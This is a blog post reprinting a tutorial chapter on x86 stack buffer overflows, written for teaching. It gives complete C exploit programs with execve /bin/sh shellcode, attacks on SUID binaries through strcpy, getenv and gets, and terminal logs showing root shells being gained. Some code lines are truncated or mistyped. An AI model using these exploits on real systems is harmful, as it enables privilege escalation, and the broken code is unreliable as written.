Thursday, December 3, 2009

Chapter 2 Stack overflows

The previous chapter briefly introduced to memory organization, how it is set up in a process and how it evolves, and evoked buffer overflows and the threat they may represent.

This is a reason to focus on stack overflows, e.g attacks using buffer overflows to corrupt the stack. First, we will see which methods are commonly used to execute unexpected code (we will call it a shell code since it provides a root shell most of the time). Then, we will illustrate this theory with some examples.

2.1 Principle

When we talked about function calls in the previous chapter, we disassembled the binary, and we looked among others at the role of the EIP register, in which the address of the next instruction is stored. We saw that the call instruction piles this address, and that the ret function unpiles it.

This means that when a program is run, the next instruction address is stored in the stack, and consequently, if we succeed in modifying this value in the stack, we may force the EIP to get the value we want. Then, when the function returns, the program may execute the code at the address we have speciied by overwriting this part of the stack.

Nevertheless, it is not an easy task to ind out precisely where the information is stored (e.g the return address).

It is much more easier to overwrite a whole (larger) memory section, setting each word (block of four bytes) value to the choosen instruction address, to increase our chances to reach the right byte.

Finding the address of the shellcode in memory is not easy. We want to ind the distance between the stack pointer and the buffer, but we know only approximately where the buffer begins in the memory of the vulnerable program. Therefore we put the shellcode in the middle of the buffer and we pad the beginning with NOP opcode. NOP is a one byte opcode that does nothing at all. So the stack pointer will store the approximate beginning of the buffer and jump to it then execute NOPs until finding the shellcode.

2.2 Illustration

In the previous chapter, our example proved the possibility to access higher memory sections when writing into a buffer variable. Let us remember how a function call works, on figure 2.1.

When we compare this with our first example (jayce.c, see page 11), we understand the danger: if a function allows us to write in a buffer without any control of the number of bytes we copy, it becomes

c

b

a

ret

sfp

i

Figure 2.1: Function call

possbile to crush the environment address, and, more interesting, the next instruction address (i on figure 2.1).

That is the way we can expect to execute some malevolent code if it is cleverly placed in memory, for instance in the overflowed buffer if it is large enough to contain our shellcode, but not too large, to avoid a segmentation fault...

Thus, when the function returns, the corrupted address will be copied over EIP, and will point to the target buffer that we overflow; then, as soon as the function terminates, the instructions within the buffer will be fetched and executed.

2.2.1   Basic example

This is the easiest way to show a buffer overflow in action.

The shellcode variable is copied into the buffer we want to overflow, and is in fact a set of x86 opcodes. In order to insist on the dangers of such a program (e.g to show that buffer overflows are not an end, but a way to reach an aim), we will give this program a SUID bit and root rights.

#include <stdio.h> #include <string.h>

char shellcode[] =

"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh";

char large_string[128];

int main(int argc, char **argv){ char buffer[96]; int i;

long *long_ptr = (long *) large_string;

for (i = 0; i < 32;

*(long_ptr + i) = (int) buffer; for (i = 0; i < (int) strlen(shellcode);

large_string[i] = shellcode[i]; strcpy(buffer, large_string); return 0;

}

Let us compile, and execute:

alfred@atlantis:~$ gcc bof.c alfred@atlantis:~$ su Password:

albator@atlantis:~# chown root.root a.out albator@atlantis:~# chmod u+s a.out alfred@atlantis:~$ whoami alfred

alfred@atlantis:~$ ./a.out

sh-2.05$ whoami

root

Two dangers are emphasized here: the stack overflow question, which has been developped so far, and the SUID binaries, which are executed with root rights ! The combination of these elements give us a root shell here.

2.2.2   Attack via environment variables

Instead of using a variable to pass the shellcode to a target buffer, we are going to use an environment variable. The principle is to use a exe.c code which will set the environment variable, and then to call a vulnerable program (toto.c) containing a buffer which will be overflowed when we copy the environment variable into it.

Here is the vulnerable code:

#include <stdio.h> #include <stdlib.h>

int main(int argc, char **argv){ char buffer[96];

printf("- %p -\n", &buffer); strcpy(buffer, getenv("KIRIKA"));

return 0;

}

We print the address of buffer to make the exploit easier here, but this is not necessary as gdb or brute-forcing may help us here too.

When the KIRIKA environment variable is returned by getenv, it is copied into buffer, which will be overflowed here and so, we will get a shell.

Now, here is the attacker code (exe.c):

#include <stdlib.h> #include <unistd.h>

extern char **environ;

int main(int argc, char **argv){ char large_string[128]; long *long_ptr = (long *) large_string; int i;

char shellcode[] =

"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh";

for (i = 0; i < 32; i++)

*(long_ptr + i) = (int) strtoul(argv[2], NULL, 16); for (i = 0; i < (int) strlen(shellcode); large_string[i] = shellcode[i];

setenv("KIRIKA", large_string, 1);

execle(argv[1], argv[1], NULL, environ); return 0;

}

This program requires two arguments:

• the path of the program to exploit

• the address of the buffer to smash in this program

Then, it proceeds as usual: the offensive string (large_string) is filled with the address of the target buffer first, and then the shellcode is copied at its beginning. Unless we are very lucky, we will need a first try to discover the address we will provide later to attack with success.

Finally, execle is called. It is one of the exec functions that allows to specify an environment, so that the called program will have the correct corrupted environment variable.

Let us see how it works (once again toto has the SUID bit set, and is owned by root):

alfred@atlantis:~/$ whoami alfred

alfred@atlantis:~/$ ./exe ./toto 0xbffff9ac

- 0xbffff91c -

Segmentation fault

alfred@sothis:~/$ ./exe ./toto 0xbffff91c

- 0xbffff91c ­

sh-2.05# whoami root

sh-2.05#

The first attempt shows a segmentation fault, which means the address we have provided does not fit, as we should have expected. Then, we try again, fitting the second argument to the right address we have obtained with this first try (0xbffff9ac): the exploit has succeeded.

2.2.3   Attack using gets

This time, we are going to have a look at an example in which the shellcode is copied into a vulnerable buffer via gets. This is another libc function to avoid (prefer fgets).

Although we proceed differently, the principle remains the same; we try to overflow a buffer to write at the return address location, and then we hope to execute a command provided in the shellcode. Once again we need to know the target buffer address to succeed. To pass the shellcode to the victim program, we print it from our attacker program, and use a pipe to redirect it.

If we try to execute a shell, it terminates immediately in this configuration, so we will run Is this time. Here is the vulnerable code (toto.c):

#include <stdio.h>

int main(int argc, char **argv){ char buffer[96]; printf("- %p -\n", &buffer); gets(buffer); printf("/s", buffer); return 0;

}

The code exploiting this vulnerability (exe.c):

#include <stdlib.h> #include <stdio.h>

int main(int argc, char **argv){ char large_string[128]; long *long_ptr = (long *) large_string; int i;

char shellcode[] =

"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/ls";

for (i = 0; i < 32; i++)

*(long_ptr + i) = (int) strtoul(argv[1], NULL, 16);

for (i = 0; i < (int) strlen(shellcode); i++) large_string[i] = shellcode[i];

printf("/s", large_string);

return 0;

}

All we have to do now is to have a first try to discover the good buffer address, and then we will be able to make the program run ls:

alfred@atlantis:~/$ ./exe   0xbffff9bc | ./toto - 0xbffff9bc -

exe   exe.c   toto toto.c alfred@atlantis:~/$

This new possibility to run code illustrates the variety of available methods to smash the stack. Conclusion

This section show various ways to corrupt the stack; the differences mainly rely on the method used to pass the shellcode to the program, but the aim always remains the same: to overwrite the return address and make it point to the desired shellcode.

We will see in the next chapter how it is possible to corrupt the heap, and the numerous possibilities it offers.

No comments:

Post a Comment